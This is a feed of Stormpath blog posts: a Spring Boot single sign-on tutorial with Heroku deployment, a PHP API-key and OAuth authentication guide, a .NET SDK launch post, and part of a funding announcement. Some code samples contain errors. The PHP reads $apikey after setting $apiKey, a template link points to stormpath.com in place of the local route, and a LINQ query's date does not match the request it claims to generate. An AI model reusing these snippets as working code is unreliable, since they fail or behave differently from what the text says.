    compile group: 'org.springframework.boot', name: 'spring-boot-starter-thymeleaf', version:'1.2.5.RELEASE'
}

There are three more files we need to get our basic Spring Boot app going.

IDSiteDemoApplication.java is the application’s entry point:

package com.stormpath.idsite_demo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class IDSiteDemoApplication {
    public static void main(String[] args) {
        SpringApplication.run(IDSiteDemoApplication.class, args);
    }
}

The @SpringBootApplication annotation sets up all the configuration necessary to launch the application.

HomeController.java maps a URI and resolves to a Thymeleaf template:

package com.stormpath.idsite_demo.controllers;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class HomeController {
    @RequestMapping("/")
    public String home() {
        return "home";
    }
}

The @Controller and @RequestMapping annotations set this class up as a controller and configure it to handle requests at the / URI. Simply returning the String home hooks into the Thymeleaf template architecture which leads us to our final file:

home.html located in the templates folder is the template that will be rendered when browsing to /:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
    <head>
        <th:block th:include="fragments/head :: head"/>
    </head>
    <body>
        <div class="container-fluid">
            <div class="row">
                <div class="box col-md-6 col-md-offset-3">
                    <div class="stormpath-header">
                        <img src="https://stormpath.com/images/template/logo-nav.png"/>
                    </div>
                    <h1>Hello!</h1>
                </div>
            </div>
        </div>
    </body>
</html>

Note: You may notice the th:include directive in the template above. This is part of the Thymeleaf architecture for including files in other files. The full source code for the example has the templates/fragments/head.html file.

Alrighty, then. Let’s round out this first 5 minutes by firing up this most basic of Spring Boot apps.

gradle clean build will do the trick. Then: java -jar build/libs/idsite_demo-0.1.0.jar

build it

Add Stormpath for SpringBoot Authentication

This section uses the SpringBootStormpath tag in the github repository.

Deploy

In this section, we’ll:

  • Create a Stormpath Account
  • Generate a Stormpath API Key Pair
  • Add an Application to your Stormpath Account
  • Update your Spring Boot webapp to show some Stormpath app information
  • Fire it up and watch it work

Create a Stormpath Account

Go to the Stormpath Registration page. Enter your First and Last names, company, email and password.

register

Click Signup.

Click the link in the verification email you receive. Then, you will see the tenant name that’s been generated for you.

login

Login. Done.

Note: For more information on multi-tenant applications, we have a handy blog post on it.

Generate a Stormpath API Key Pair

Once you log in to your Stormpath account, you will see this screen:

dashboard

Click the Create API Key button.

api key

Click the Create API Key button and save the file.

The API Keys stored in that file are used to authenticate your application to Stormpath. In the file, there’s an apiKey.id and a apiKey.secret. You would never want the apiKey.secret exposed. So, for instance, you would never want to have the api keys file checked into a git repository. When we deploy to Heroku later on, I will show you how to configure your app to use the api keys without having to have them in the git respository.

Stormpath uses well documented configuration defaults to make working with our APIs super easy. One of these defaults is the api key file location. The Java SDK will automatically look for the file in your home directory:

~/.stormpath/apiKey.properties

If you copy the file you downloaded to that path, no additional configuration is required to connect to Stormpath from your application.

Add an Application to Your Stormpath Account

Back on the admin dashboard, click the Applications tab.

applications

You will notice that there are two applications already present: My Application and Stormpath. They were setup automatically when you registered for Stormpath. Without any other Stormpath applications defined, no further configuration is needed for your Spring Boot application. By default, it will connect to the My Application instance already defined.

However, the ultimate goal here is to get some Single Signon goodness and in order to do that, we’ll need more than one application to sign in to.

So, let’s create another Stormpath application. Click the Create Application button.

new_application

Let’s break down the options here.

Name and (optional) description are self explanatory. And, it makes sense that we want this application Enabled.

By default, the Create new Directory checkbox is checked. For our example, I’ve unchecked this option. Rather, I’ve checked the Map Account Stores to this Application checkbox and chosen the My Application Directory. Finally, I’ve clicked the DEFAULT ACCOUNT LOCATION and DEFAULT GROUP LOCATION radio buttons.

So, what’s going on here? The way that Stormpath is organized, an application can use any number of directories as its Account Stores. A Stormpath directory is just a bucket that contains accounts and groups. For our purposes, we can use the directory that was automatically created for us when we registered called My Application Directory. In the bonus section below, I will show you how to create a specific type of directory to add Google authentication to your app. Spoiler alert: It’s super easy.

Update Your Spring Boot Webapp

Let’s hook up our basic Spring Boot app to Stormpath to show some Stormpath app information. This will lay the foundation for being able to integrate with the ID Site service.

Take a look at our HomeController:

package com.stormpath.idsite_demo.controllers;

@Controller
public class HomeController {
    @Autowired
    Application app;

    @RequestMapping("/")
    public String home(Model model) {
        model.addAttribute("appName", app.getName());
        model.addAttribute("appDescription", app.getDescription());

        return "home";
    }
}

We’ve now taken advantage of Spring’s @Autowired capability to give us a handle to the Stormpath Application object. Using that, we set the Application’s name and description in the Model object which will be passed on to our template.

This brings us to our next change, the home.html Thymeleaf template:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
    <head>
        <th:block th:include="fragments/head :: head"/>
    </head>
    <body>
        <div class="container-fluid">
            <div class="row">
                <div class="box col-md-6 col-md-offset-3">
                    <div class="stormpath-header">
                        <img src="https://stormpath.com/images/template/logo-nav.png"/>
                    </div>
                    <h1 th:inline="text">Hello! Welcome to App: [[${appName}]]</h1>

                    <h3 th:inline="text">[[${appDescription}]]</h3>
                </div>
            </div>
        </div>
    </body>
</html>

Using the Thymeleaf notation to pull information out of the model, we are referencing [[${appName}]] and [[${appDescription}]].

Finally, we’ll make a small (but powerful) update to out build.gradle file. We are changing this line:

compile group: 'org.springframework.boot', name: 'spring-boot-starter-thymeleaf', version:'1.2.5.RELEASE'

to this:

compile group: 'com.stormpath.spring', name: 'spring-boot-starter-stormpath-thymeleaf', version:'1.0.RC4.5'

We’ve swapped out Spring’s Thymleaf Spring Boot Starter for Stormpath’s. Here’s the cool bit: everything needed to interact with the Stormpath Java SDK is included in this Starter.

There’s a total of 7 lines that have changed in our application files and one file, application.properties that we’ve added in order to start hooking in to Stormpath.

Build Your Java Web Application

One extra bit of information we will need here is the URL to the Stormpath Application you created.

You can find this from the admin dashboard by navigating to your Application.

application id

Assuming that you put your api key file in the default location of ~/.stormpath/apiKey.properties, this is all you need to do run this example:


gradle clean build
STORMPATH_APPLICATION_HREF=https://api.stormpath.com/v1/applications/6bHOGj63WM8cfC2nhD3Pki \
  java -jar build/libs/idsite_demo-0.1.0.jar

Of course, you would put your own STORMPATH_APPLICATION_HREF in.

app info

You can see that the page in the browser is now displaying the information from the Stormpath Application that we created.

Stormpath Single Sign-On with IDSite…

…you guessed it. In Five Minutes.

This section uses the SpringBootStormpathIDSite tag in the github repository.

Deploy

You may have had the experience of adding authentication and authorization to your applications. Maybe you did it upfront. Maybe it was something you said you’d get to – eventually. Either way it’s a pain. And, it has nothing to do with the problem you are trying to solve. It is critical and necessary, though.

In this section, we are going to add the ability to create new users, login, restrict access to a page to only those users that are logged in and change your password. And, we are going to do it with minimal coding and minimal configuration.

ID Site Configuration

First, we’ll setup IDSite from the admin dashboard. Click the ID Site tab.

id site

As you scroll around, you will notice that there are a number of fields with the label Upgrade Required. The basic ID Site functionality can be used with our free tier, as we will see momentarily. Having a custom domain or customizing the templates used for authentication requires a paid subscription.

Here, we are simply going to update two fields and save the settings.

id site

For security, you must specify a list of URLs that are allowed to make connections to your ID Site.

Enter http://localhost:8080 in the Authorized Javascript Origin URLs field.

For the security reasons, you must specify a list of authorized redirect URLs.

Enter http://localhost:8080/restricted/id_site_callback and, on a separate line, http://localhost:8080/in the Authorized Redirect URLs field.

Click the Save button. That’s all that’s necessary to configure your ID Site to enable authentication and authorization in your app.

Let’s take a step back and use a precious 30 seconds of our 5 minutes to look at the mechanism behind ID Site.

When a user attempts to access a restricted area of your website, they will be redirected to your ID Site, IF they do not already have an active session.

They will be presented with a familiar login form complete with options to create a new user and to reset their password.

id site login

Where did this come from? Is it magic? It’s part of what you get for using ID Site – all the authentication and authorization flows that you usually write on your own. Poorly. (ouch – that was a little harsh. But, seriously – how often do you read about security breaches due to poorly implemented auth code?)

Once authenticated, they will be redirected back to the URL you specify and will be able to access that restricted content.

This process will seem utterly familiar to your users – even mundane. And you will have accomplished it with very little configuration or coding.

Update Your Spring Boot Webapp

We are going to add 50 lines of code in a new controller – total – to hook into ID Site. We will also add a new template that is restricted to people that have logged in to your application and update our home template.

Let’s take a look at that controller, Restricted Controller.

package com.stormpath.idsite_demo.controllers;

@Controller
public class RestrictedController {
    @Autowired
    Application app;

    private static final String ID_SITE_CALLBACK = "/restricted/id_site_callback";

    private String getBaseURL(HttpServletRequest request) {
        String url = request.getRequestURL().toString();
        String uri = request.getRequestURI();
        return url.substring(0, url.length() - uri.length());
    }

    @RequestMapping("/restricted/secret")
    public void idSiteStep1(HttpServletRequest request, HttpServletResponse response) {
        IdSiteUrlBuilder idSiteBuilder = app.newIdSiteUrlBuilder();
        idSiteBuilder.setCallbackUri(getBaseURL(request) + ID_SITE_CALLBACK);

        response.setStatus(HttpServletResponse.SC_FOUND);
        response.setHeader("Cache-control", "no-cache, no-store");
        response.setHeader("Pragma", "no-cache");
        response.setHeader("Expires", "-1");
        response.setHeader("Location", idSiteBuilder.build());
    }

    @RequestMapping(ID_SITE_CALLBACK)
    public String idSiteStep2(HttpServletRequest request, Model model) {
        AccountResult accountResult = app.newIdSiteCallbackHandler(request).getAccountResult();
        Account account = accountResult.getAccount();

        model.addAttribute("firstName", account.getGivenName());

        return "restricted/secret";
    }

    @RequestMapping("/logout")
    public void logout(HttpServletRequest request, HttpServletResponse response) {
        IdSiteUrlBuilder idSiteBuilder = app.newIdSiteUrlBuilder();
        idSiteBuilder.setCallbackUri(getBaseURL(request) + "/");
        idSiteBuilder.forLogout();

        response.setStatus(HttpServletResponse.SC_FOUND);
        response.setHeader("Cache-control", "no-cache, no-store");
        response.setHeader("Pragma", "no-cache");
        response.setHeader("Expires", "-1");
        response.setHeader("Location", idSiteBuilder.build());
    }
}

Let’s break this down method by method

getBaseURL

This private method take in an HttpServletRequest object and returns the the base of the full url pulled out of it.

If http://localhost:8080/restricted/secret is the URL, http://localhost:8080 will be returned.

idSiteStep1

This method is bound to the request path /restricted/secret. This kicks off the ID Site interaction resulting in the hosted login form for the user.

In order to be redirected properly to the ID Site, a special URL needs to be built. Fortunately, you don’t have to worry about those details. The IdSiteUrlBuilder object manages all of that for you. All you need to do is to set the callback URL in this case. When your IdSiteUrlBuilder object is all set, calling the build method returns the correct URL string to redirect to. All of the response lines in the idSiteStep1 method are preparing the response to redirect to your ID Site.

idSiteStep2

This method is bound to the request path /restricted/id_site_callback, which is what we programmed in for the setCallbackUrl method in the previous step. This is the glue tht causes ID Site to redirect back to your web app after authenticating. We are using the AccountResult object to pull the Account object out and get at the givenName, which we then pass along to the view template found at restricted/secret.

logout

The final method in this controller is logout. It creates a logout URL using the IdSiteUrlBuilder object. the forLogout method tells the builder to create a logout url. The callback that is set brings us back to the front door of the app.

Let’s take a look at the new template, restricted/secret.html:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
    <head>
        <title>Hello World!</title>
        <th:block th:include="fragments/head :: head"/>
    </head>
    <body>
    <div class="container-fluid">
        <div class="row">
            <div class="box col-md-6 col-md-offset-3">
                <div class="stormpath-header">
                    <img src="https://stormpath.com/images/template/logo-nav.png"/>
                </div>

                <h1 th:inline="text">Hey, [[${firstName}]]</h1>
                <h3>The secret is the Andromeda Galaxy is going to collide with the Milky Way Galaxy in 4.5 billion years.</h3>
                <h4>Better start packing!</h4>
                <form th:action="@{/logout}" method="post">
                    <input class="btn btn-danger" type="submit" value="Sign Out"/>
                    <a class="btn btn-success" href="https://stormpath.com/">Go Home</a>
                </form>
            </div>
        </div>
    </div>

    </body>
</html>

There are two interesting lines here, from the perspective of interacting with ID Site.

<h1 th:inline="text">Hey, [[${firstName}]]</h1>

This line accesses the firstName variable that we retrieved from the Account in the controller and set in the model.

<form th:action="@{/logout}" method="post">

This form sets the action to hit our logout method in the controller and tells it to use an HTTP POST to do it.

Finally, we are adding a single line in to our home.html template that kicks off the whole login flow:

<a class="btn btn-success" href="https://stormpath.com/restricted/secret">Click here for a secret message.</a>

Remember, /restricted/secret will be picked up by the idSiteStep1 method and will redirect us to your ID Site login form.

Fire Up Your Webapp and Try It Out

Start up the app as before:


gradle clean build
STORMPATH_APPLICATION_HREF=https://api.stormpath.com/v1/applications/6bHOGj63WM8cfC2nhD3Pki \
  java -jar build/libs/idsite_demo-0.1.0.jar

Since we don’t yet have any users defined in our Stormpath directory, let’s create a new user and then make sure we can log in and log out as that user.

first, browse to the front door: http://localhost:8080

restricted home

Click the friendly green button.

id site login

Click the Create an Account link.

create account

Click the friendly green button.

restricted

Huzzah! We’re in!

If you click the green button now, you will be brought back to the home page. If you then click the green button on the home page, you will go directly to the restricted page. You will not see the login form again. This is because you have established a valid session.

logged in

If you click the red button, you will be logged out and redirected to the home page. Clicking the green button brings you to the login form once again as you have trashed your session.

You may notice that after we created our account, we were immediately logged in and sent to the restricted page. You can slow this down by requiring email verification in your Stormpath admin console as part of the account creation process.

Note: There is a known issue whereby you cannot be logged into the Stormpath Admin Dashboard and authenticate using ID Site in the same session. We are working on resolving this issue ASAP. It would never affect your users as they would never be in your Stormpath Admin Dashboard. For now, use a separate browser profile or separate browser instance when using the Stormpath Admin Dashbaord.

Single Sign-On with Heroku in 5 Minutes

This section uses the SpringBootStormpathIDSite tag in the github repository.

Deploy

Note: You can use the Heroku Deploy button above to deploy two different Heroku Apps if you want to test out SSO without deploying yourself.

Phew! Home stretch! So, what’s this SSO I keep hearing so much about? With the foundation we’ve built, we are now in a position to deploy multiple instances of this web app to Heroku. So What? I’ll tell you “So What!”

While it’s a novelty that we can deploy multiple instances of the web app, what really gives it power is ID Site’s Single Sign-On capability. By the end of this section you will see that by logging in to one instance of the webapp, you can browse to the restricted page of another instance of the web app without having to log in again.

First, we need to add a file so Heroku knows how to launch our app. It’s a one-liner called Procfile:

web: java $JAVA_OPTS -Dserver.port=$PORT -jar target/*.jar

Notice the bash style variable: $PORT. This is automatically populated by Heroku and does not need to be explicitly set by us.

Let’s setup and deploy one Heroku app and make sure it all works.

heroku apps:create idsite-demo-app1 --remote idsite-demo-app1

Notice the --remote on the end of the command. Heroku automatically adds a git remote to your local repository in order to be able to deploy your app. By default, this remote will be named heroku. Since we will be deploying multiple instances of the app, we want different remote names.

Now that we’ve created the app, we need to set some config parameters. This is part of the secret sauce that allows us to deploy the same codebase, but link the web app to different Stormpath Applications.

heroku config:set \
  STORMPATH_API_KEY_ID=<your api key id> \
  STORMPATH_API_KEY_SECRET=<your api key secret> \
  STORMPATH_APPLICATION_HREF=<your app href> \
--app idsite-demo-app1

Remember I said earlier one of the benefits of how Stormpath configures itself is that you are not required to embed sensitive api key information in your code? Here’s where it all comes together. In the above command, we are setting environment variables for our Heroku instance. The Stormpath SDK automatically checks for the presense of STORMPATH_API_KEY_ID, STORMPATH_API_KEY_SECRET and STORMPATH_APPLICATION_HREF environment variables. If present, the SDK will automatically use the values in those environment variables when interacting with the API. It’s what connects our Spring Boot web app to the right Stormpath Application.

Ok. The stage is set. Let’s deploy our app!

git push idsite-demo-app1 master

This generates a ton of output, but let’s look at some of the highlights:

remote: Compressing source files... done.
remote: Building source:

...

remote:        [INFO]
remote:        [INFO] ------------------------------------------------------------------------
remote:        [INFO] Building demo 0.0.1-SNAPSHOT
remote:        [INFO] ------------------------------------------------------------------------

...

remote:        [INFO] Installing /tmp/build_a7299c4194f003c6e3730e568a540e82/target/demo-0.0.1-SNAPSHOT.jar to /app/tmp/cache/.m2/repository/com/stormpath/idsite_demo/demo/0.0.1-SNAPSHOT/demo-0.0.1-SNAPSHOT.jar

remote:        [INFO] ------------------------------------------------------------------------
remote:        [INFO] BUILD SUCCESS
remote:        [INFO] ------------------------------------------------------------------------

...

remote: -----> Discovering process types
remote:        Procfile declares types -> web
remote:
remote: -----> Compressing... done, 63.6MB
remote: -----> Launching... done, v6
remote:        https://idsite-demo-app1.herokuapp.com/ deployed to Heroku
remote:
remote: Verifying deploy.... done.
To https://git.heroku.com/idsite-demo-app1.git
 * [new branch]      master -> master

Toward the bottom, Heroku is discovering the process type based on our Procfile. In this case, it’s web.

Last bit of housekeeping for our first app is to configure ID Site to accept connections from it and to redirect to it. Jump back over to your admin dashboard for ID Site and add http://idsite-demo-app1.herokuapp.com to the list of Authorized Javascript Origin URLs and add http://idsite-demo-app1.herokuapp.com/ and http://idsite-demo-app1.herokuapp.com/restricted/id_site_callback to the list of Authorized Redirect URLs.

id site

Make sure you click the Save button at the bottom of the screen.

And, http://idsite-demo-app1.herokuapp.com/ is ready to go! Check it out. Create an account. Log in and log out. Have fun with it.

We’ve now arrived at the gates of the SSO promised land. Here’s all that’s left to do:

  • Create another Stormpath Application
  • Create another Heroku Application
  • Set the configuration of the new Heroku Application
  • Deploy our Spring Boot app to the new Heroku Application
  • Update our ID Site to include the new URLs for authorized origin and redirect

We are just rinsing and repeating what we did before.

Let’s go create our new Stormpath Application:

new application

Notice that we are mapping the same Account Store for this new application.

Time to create a new Heroku app:

heroku apps:create idsite-demo-app2 --remote idsite-demo-app2

And, configure it:

heroku config:set \
  STORMPATH_API_KEY_ID=<your api key id> \
  STORMPATH_API_KEY_SECRET=<your api key secret> \
  STORMPATH_APPLICATION_HREF=<your app href> \
--app idsite-demo-app2

Make sure you use the full URL of the newly created Stormpath Application.

Deploy time:

git push idsite-demo-app2 master

Finally, ID Site URLs update:

id site

You can now check the box on your ToDo list that says: build and deploy an SSO application. You’ve done it!

id site

You can log in to http://idsite-demo-app1.herokuapp.com. Then, you can jump directly over to http://idsite-demo-app2.herokuapp.com/restricted/secret and you will not have to login again!

Happy SSOing!

In this post, you’ve created a Spring Boot web app that takes enables Single Sign-on with Stormpath’s ID Site service. Stormpath hosts the login form and all the other links and form associated with creating a new user and resetting your password.

With a small amount of code in one Controller, you can authenticate and authorize users for your app. And deployed it quickly with Heroku. I’d love to hear about your experience in working with the examples in this post.

If you’re interested in using more features of Stormpath in Spring Boot, here’s our Spring Boot Webapp Sample Quickstart

Feel free to drop a line over to email or to me personally anytime.

Like what you see? to keep up with the latest releases.


PHP API Authentication Is A PITA!

$
0
0

Until Now!

PHP has progressed a long way in the past year. We now have a package manager with many tools to help in project development, but there is still a lack of good API authentication tools out there. Sure, people try to roll their own API authentication setup for their PHP application, but we have a saying in the office.

“Friends don’t let friends build authentication.”

The Stormpath PHP SDK is here to help with all of your API Authentication requirements.

We have shown you before what goes into making a great RESTful API. Now we can help you protect that API with PHP API authentication!

Create API Keys for Your PHP Application

In the past, APIs used a basic username and password to authenticate developers trying to access them. This is a less secure way of maintaining security of your API. A much more secure way is using API Keys for each user. With the Stormpath PHP SDK, this is now very easy!

Stormpath supports two different ways to grant API keys to developers using your service. The first is to create the keys manually through the Stormpath admin UI. This is quick and easy for small API’s with few users, but will soon become overwhelming as you gain more users. That is why we introduced API Key creation and management from the SDK.

The first step is to create a new user for the developer. Use the Account resource to instantiate a new account, then create it on the application.

$account = \Stormpath\Resource\Account::instantiate(
array('givenName' => 'Joe',
      'surname' => 'Stormtrooper',
      'email' => 'tk421@stormpath.com',
      'password' => 'Changeme1'));
$application->createAccount($account);

If a developer already has an account, just get the user object in the same way. Using the account object, run the method createApiKey. This will create an API key for the user and return the id and secret.

$apiKey = $account->createApiKey();
$apiKeyId = $apikey->id;
$apiKeySecret = $apikey->secret;

Understanding API Authentication

Now that your developers have API keys for your API, we can authenticate them. First though, we need to understand the different kinds of authentication. Stormpath offers two different kinds of authentication for your convenience.

Basic Authentication for API

Basic authentication is, well, the most basic form of authentication. It passes an authorization header as part of the request. This header is base64 encoded and prefixed with the basic keyword.

The PHP SDK responds to these requests in an intuitive way. As the developer of the API, you have two ways to handle these requests. The ApiRequestAuthenticator or the BasicRequestAuthenticator will both respond to this request. We will go into examples on how to use this a little later.

OAuth2 Authentication for API

Stormpath gives you seamless integration of the OAuth2 client credentials authentication type. Client credentials is one of four different types of of OAuth authentication. The developer will use a token created from the ID and secret for all future requests. For more information on this, please read the OAuth RFC. Again, the PHP SDK makes development easy to respond to these requests. ApiRequestAuthenticator will respond to these requests and decide what kind of request it is. To force your developers into the OAuth Authentication, use OAuthRequestAuthenticator. This will not allow Basic Authentication like ApiRequestAuthenticator does.

The Different Types of Authenticators

The Stormpath PHP SDK has a few different types of Authenticators that you can use. We try to make it as easy as possible for the API developer to respond to requests as broad or as specific as they want. To understand this, we must first understand the different ideologies. The PHP SDK has four different ways to authenticate a developer on an API:

  • API Request Authenticator

    The first is the API that does not care how we authenticate. This will use the ApiRequestAuthenticator. The SDK will determine for you how the developer wants to authenticate. This will work for both Basic and OAuth authentication types.

  • Basic Request Authenticator

    The second is where the API will only respond to basic authentication requests. For this, you will use BasicRequestAuthenticator.

  • OAuth Client Credentials Request Authenticator

    Next, we have the API that wants to respond to only OAuth requests. This will use OAuthRequestAuthenticator and will not respond to basic requests. The SDK also offers OAuthClientCredentialsRequestAuthenticator that will respond only when requesting a token. This allows you to add in logic during the token creation process.

  • OAuth Bearer Request Authenticator

    The last authenticator is the one that responds to only a bearer request. OAuthBearerRequestAuthenticator will respond only when the developer passes a Bearer authorization header. The header will need to contain the token that the client credentials authenticator created.

Protecting Your API

As you can see from above, the Stormpath PHP SDK tries to make it easy for you to protect your API. For our examples below, we are going to be protecting an API for our Stormtrooper inventory. Let’s assume we have an endpoint to get all equipment for trooper tk421.

Setting up Basic Requests

Our first task will be setting up the route for our developers to get the equipment for the trooper. We will use /troopers/tk421/equipment. Now, we will need to create some logic in this route that needs authentication. To have this logic available for other routes, set it up as middleware.

$request = \Stormpath\Authc\Api\Request::createFromGlobals();
$result = new BasicRequestAuthenticator($application)->authenticate($request);

So what is going on here? You first need to create a new request object. You do this from the function createFromGlobals() on the Request class. In the background, the SDK is pulling the headers from the request headers. It then generates the Request object we can use to authenticate against.

Create a new instance of the BasicRequestAuthenticator next and pass in the application object. You are now ready to authenticate the request. If all is valid and the user has access, the SDK will return the account object. What does this look like from the developer’s end? They make a request to your API with the basic authorization header.

GET /troopers/tk421/equipment
Accept: application/json
Authorization: Basic MzRVU1BWVUFURThLWDE4MElDTFVUMDNDTzpQSHozZitnMzNiNFpHc1R3dEtOQ2h0NzhBejNpSjdwWTIwREo5N0R2L1g4
Host: api.trooperapp.com

Remember the API key we generated for the developer at the beginning of this post? This is what the authorization header consists of. The encryption is a base64 encoded apiKeyID:apiKeySecret.

That is it for basic authentication for your trooper API. Of course, you can use ApiRequestAuthenticator in place of BasicRequestAuthenticator. They both return the same data, but BasicRequestAuthenticator only allows basic authorization headers.

Setting Up OAuth Requests

The OAuth requests are a lot more secure. This is because the developers only have to pass their id and secret once.
They will make a post request to your API which returns a bearer token. This token is what all future requests use to authenticate themselves.

There are two steps here. The first step is to respond to the post request to supply a bearer token. The standard for this endpoint is /oauth/token. The developer makes a post request to this route. This post request looks like basic authentication, but has a body of ‘grant_type=client_credentials’.

POST /oauth/token
Accept: application/json
Authorization: Basic MzRVU1BWVUFURThLWDE4MElDTFVUMDNDTzpQSHozZitnMzNiNFpHc1
Content-Type: application/x-www-form-urlencoded
Host: api.trooperapp.com
   grant_type=client_credentials

The second step is to create another route to respond to this request. Your middleware for this request will look close to the basic request. The difference here is you can use one of three authenticators. We will use the OAuthClientCredentialsAuthenticator for this example.

$request = \Stormpath\Authc\Api\Request::createFromGlobals();
$result = new OAuthClientCredentialsRequestAuthenticator($application)->authenticate($request);

Side Note: For more general authenticators you would use; ApiRequestAuthenticator and OAuthRequestAuthenticator. These respond to all requests or OAuth only requests, respectively. Your request object will now give you access to the token to provide to your developer. This token allows the developer to authenticate with a bearer token instead of id and secret. For all future requests, the developer will use the bearer token for authorization.

GET /troopers/tk421/equipment
Accept: application/json
Authorization: Bearer 7FRhtCNRapj9zs.YI8MqPiS8hzx3wJH4.qT29JUOpU64T
Host: api.trooperapp.com

Then for your middleware on your route, you can use one of three request authenticators again. For our example we will be verbose and use OAuthBearerRequestAuthenticator.

$request = \Stormpath\Authc\Api\Request::createFromGlobals();
$result = new OAuthBearerRequestAuthenticator($application)->authenticate($request);

The result of a successful authentication will contain the account object. From here, the developer has access to the API and your application can continue.

API Authentication Summary

So now you know API Authentication doesn’t need to be difficult. I’ve shown you how to create API keys for your developers easily and efficiently. I’ve discussed the two basic types of authenticators, basic and Oauth2, and how to make them work for you. Lastly, and most importantly, I’ve laid out how Stormpath PHP SDK makes protecting your API straightforward and uncomplicated.

Now, you can move forward knowing your API is safe and secure!

Feel free to drop a line to our support team or to me personally anytime.

Like what you see? to keep up with the latest releases.

Introducing the Stormpath .NET SDK

$
0
0

Today, we released version 0.1.0 of our .NET SDK! After almost two months of heavy development work, I’m excited to get this code into the hands of the community. In this article, I’ll cover the basics of how to install and use the SDK from a C# project, as well as talk about some of the design behind the code.

This is a very early release, so please share your questions and feedback in the comments below, email me at nate@stormpath.com, or issue a pull request.

Easy Authentication In .NET?

The authentication story in .NET has long been a complicated one. In the past, we had big, heavy identity solutions like ASP.NET Membership. Often, these solutions meant being locked into using SQL Server. The situation has improved with ASP.NET Identity, which adopts a modular architecture.

Even still, there’s a good chance you’ll need to descend into the trenches if you’re not planning on using Entity Framework or SQL Server as your data store.

What if you want multiple web applications to share a user store? Or you’re building an API and need token authentication for untrusted clients? Or you want to supports social login providers? What if you’re on a non-IIS environment, like Nancy? Or on completely different platform with Xamarin? We want to make your life easier!

Stormpath already provides a strong (and lightweight) REST API for user authentication and authorization. This library is the first step in our efforts to make it super easy to drop the Stormpath authentication layer into any ASP.NET application (or anything else on the .NET stack).

Soon, you’ll be able to add social login, single sign-on across your apps, and token authentication to your .NET project with just a few clicks and zero headache. This first release provides the core functionality that will power all the cool stuff to come.

Let’s get started!

Installing the Stormpath .NET SDK

If you’re impatient (like a good developer should be), installation couldn’t be easier: install-package Stormpath.SDK from the Visual Studio Package Manager Console. Or, if you’re GUI-inclined, you can search for Stormpath.SDK in the NuGet Package Manager.

The official C# quickstart covers the essentials in about 10 minutes:

  • Getting a Stormpath API Key
  • Creating a Client object
  • Making calls to the Stormpath API
  • Authenticating an account

The SDK supports the .NET Framework (version 4.5 and above), as well as Mono 4.0 and higher, so you can drop it into any recent project.

Go try it out! I’ll wait here.

Querying with LINQ-to-Stormpath

LINQ is a beautiful query language for interacting with data sources. It makes perfect sense to use LINQ to build queries for the Stormpath API.

With the .NET SDK, you can write a strongly-typed, expressive query like this:

var newUsersThisMonthNamedSkywalker = await myApp.GetAccounts()
    .Where(x => x.Surname == "Skywalker" && x.CreatedAt.Within(2015, 09))
    .OrderBy(x => x.Email)
    .Take(10)
    .ToListAsync();

And it’s automagically translated into the appropriate GET request:

GET /v1/tenants/XYZ/accounts?createdAt=2015-01&limit=10&orderBy=email&surname=Skywalker

I think that’s pretty sexy. <3

Asynchronous and Synchronous API

Let’s talk about async.

From the beginning, my goal was to design a modern .NET SDK. That meant embracing the Task Parallel Library and async/await. Every network call to the Stormpath API is made asynchronously. The methods exposed by the SDK return awaitable Tasks, and have optional overloads that take a CancellationToken.

Why does this matter? If you’re building an ASP.NET application, you can easily integrate the SDK into asynchronous controllers that won’t block a thread while you’re making an API request to Stormpath. No blocking means your application can process more requests faster. That’s pretty cool!

But what about situations where you can’t use these keywords? The Stormpath .NET SDK includes a compatibility layer (in the Stormpath.SDK.Sync namespace) that provides synchronous access to the API. Because sync-over-async is a bad idea, this isn’t just a wrapper – it’s a full dual-programming model with separate synchronous and asynchronous execution paths.

Modular Design

The SDK depends on a few external libraries: JSON.NET for JSON (de)serialization, and RestSharp for making HTTP requests. However, if you don’t want to use either of those in your project, no problem! The SDK is designed to be modular, and both of these dependencies sit behind abstraction layers. Just write your own implementation and plug it in!

Cross-Platform Support for Linux/Mac OS on Mono

Compiling with Mac OS or Linux in mind? No problem. Running code on Mono is only going to become more important with the upcoming introduction of ASP.NET vNext and DNX. I’m happy to report that every bit of the SDK compiles and runs perfectly under Mono.

What’s Next

This is an exciting release, but there’s still plenty more to do. Here’s what’s on the roadmap:

  • Full, rich documentation for the entire SDK
  • Token authentication
  • Single Sign-On support with Stormpath IDSite
  • Social login with Facebook and Google
  • In-memory and distributed caching

Feel free to jump in and become part of the conversation on Github. Is there something specific you want to see? Post an issue or reach out to me at nate@stormpath.com. Happy coding!

Like what you see? to keep up with the latest releases.

Stormpath Raises $15M Series B Financing

$
0
0

Stormpath Hosted Login Screen

When we first started Stormpath, most people rejected our product vision:

“I would never outsource my user data and functionality – the most important part of my application – to a third-party service.”

In 2011, the objections to a Customer Identity API were many, and they were valid. Cloud adoption was nascent. API services were primarily used to replace non-core functionality. Everyone was skittish about the rise in large-scale user data breaches. Developer service companies had spotty records when it came to revenue. A slew of investors turned down our seed round, and developers were generally skeptical.

At the time, there were no other funded Identity API companies focused on developers. But we believed, very deeply – that cloud-based services built by third-party experts would become the default for core application plumbing like Identity. We also believed that developers would embrace how we can make their lives easier and their applications and user data more secure.

“The goal of Stormpath is to free up developers’ time so they can focus on what really matters to their product and business. Managing users in the cloud is complicated and risky; we can put years of security expertise and best practice in their applications in less time than it takes to make coffee.”

– Les Hazlewood, Stormpath CoFounder and CTO, Public Beta announcement

In just a few years, developers have broadly embraced third-party cloud services. Rather than perceived as dangerous, the microservices approach to building web and mobile applications has become default.

That sea change in the way web application teams approach cloud services, has not only driven our rapid growth, it has also formed the basis of an entire customer identity market.

Today, Stormpath is used – and loved – by thousands of developers.

We’ve gone from a basic authentication API, to a powerful identity platform that can handle not only high scale authentication and registration events and workflows, but also complex authorization, deep user security, multi-tenancy for SaaS applications, OAuth connections, token authentication, API keys, social login, and single sign-on across your applications from a centralized user store. The Stormpath Identity API allows businesses to launch their web applications and services faster, and with better user security.

We are proud to have customers who range from Fortune 100 Security companies to major media publishers to high-growth tech startups using Stormpath in production.

With the announcement today that we have closed $15M in Series B Funding, led by Andy Vitus from Scale Venture Partners with continued support from our prior investors NEA and Pelion Venture Partners, we now embark on a new stage in Stormpath history.

